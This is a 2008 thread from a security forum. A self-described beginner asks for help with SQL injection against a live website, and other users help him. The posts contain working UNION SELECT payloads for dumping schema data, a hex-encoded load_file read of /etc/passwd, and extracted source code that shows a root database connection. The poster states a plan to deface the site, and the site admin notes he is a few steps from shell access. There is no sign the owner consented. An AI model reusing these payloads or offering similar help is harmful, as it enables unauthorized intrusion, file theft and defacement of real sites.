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IT Security and Insecurity Portal |
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How to bypass? |
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 Posted: Mon Mar 24, 2008 9:50 am |
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| ponas |
| Beginner |
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| Joined: Mar 24, 2008 |
| Posts: 4 |
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Hello.
I am testing a web site. I've found what columns are outputed and now i am trying to get the information_schema.tables infomation.
I can't use any semicolns or strings in my syntax as i get an error:
| Code: | | ?id=null+union+all+select+1,2,3,table_name%20from%20information_schema.tables,5/* |
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/***/******.php on line 220
so i have tried:
| Code: | | null+union+all+select+1,2,3,char(116,97,98,108,101,95,110,97,109,101,32,102,114,111,109,32,105,110,102,111,114,109,97,116,105,111,110,95,115,99,104,101,109,97,46,116,97,98,108,101,115),5 |
Then i get only the string in place where normal data should be outputed:
"table_name from information_schema.tables"
i have also tried:
| Code: | | ?id=null+union+all+select+1,2,3,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115)),5/* |
outputs same string:
"table_name from information_schema.tables"
using --, /*, /**/ makes no difference
Any ideas?
Thanks. |
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| Posted: Mon Mar 24, 2008 10:31 am |
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| kr0k0 |
| Advanced user |
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| Joined: Jan 26, 2008 |
| Posts: 128 |
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if Mysql version 5.x.x try this :
| Code: | | ?id=null+union+all+select+1,2,3,concat(table_name,0x3e,column_name),5+from+information_schema.columns--+ |
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| Posted: Mon Mar 24, 2008 5:58 pm |
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| ponas |
| Beginner |
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| Joined: Mar 24, 2008 |
| Posts: 4 |
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Yes, mysql version is 5.0.38.
And sorry i forgot to mention that i can't put chars anywhere in my query, for an example this works:
v?id=null+union+all+select+1,2,3,load_file(0x2F6574632F706173737764),5x[/code]
also it works if i put filename in decimal, etc.
And this doesn't work:
?id=null+union+all+select+1,2,3,load_file('/etc/passwd'),5 <---BAD
?id=null+union+all+select+1,2,3,a,5 <---BAD
?id=null+union+all+select+1,2,3,'a',5 <---BAD
By using load_file i have got source and this is how mysql query looks like:
| Code: | $dbc=mysql_connect("localhost","root","*************") or die("Cant connect to DB");
mysql_select_db("web_pg",$dbc);
if(!isset($id)) $id=0;
$sql_link = "select * from nav where id=$id";
$result_link = mysql_query($sql_link);
$row_link = mysql_fetch_array($result_link); |
No check for bad symbols at all, but why cant i put chars there? Strage 
I've started to learn sql injection only yesterday, wont get this page on my own. |
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| Posted: Mon Mar 24, 2008 6:12 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\' 
And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems? |
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| Posted: Mon Mar 24, 2008 7:20 pm |
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| ponas |
| Beginner |
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| Joined: Mar 24, 2008 |
| Posts: 4 |
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| waraxe wrote: | Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\'
And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems? |
magic_quotes makes sense, but why can't i put ANY chars in my sql query (in column 4)?
Is there any posibility to make mysql interpret char() and/or concat() or other funcion's returned value not like a string but like a normal mysql query?
lets say this returns all table names from information_schema.tables:
| Code: | | select id,val,dir from blabla union all select 1,2,table_name from information_schema.tables |
BUT this:
| Code: | | select id,val,dir from blabla union all select 1,2,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115)) |
returns something like:
|10|blabla|table_name from information_schema.tables|
will make deface tomorow to proove my friend how lazy he is  |
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| Posted: Mon Mar 24, 2008 8:04 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Similar discussion:
http://www.thescripts.com/forum/thread491641.html
| Code: |
Is it possible to have a dynamic table name within a query or a table
name that is a variable? This does not work but gives an example:
SELECT * FROM concat('table', 'name')
- OR -
SET @table = 'a';
SELCT * FROM @table
Of course the query can be constructed dynamically but does not exactly
fit the needs. The situation is very complicated and would just be
confusing to discuss here so please do not offer suggestions on how to
construct the query programically as that will not work for this
situation.
...
Table names, column names, etc. cannot be dynamic in the way you
describe. This is not permitted by the SQL language, for many reasons.
For instance, there would be no way for the query optimizer to decide
which index(es) to use, if it doesn't know at parse time which tables
and columns are being queried.
Find another way to solve your problem.
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Only way seems to be use of dynamic queries via procedures, but it's usually not possible from sql injection. |
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| Posted: Mon Mar 24, 2008 10:28 pm |
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| ponas |
| Beginner |
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| Joined: Mar 24, 2008 |
| Posts: 4 |
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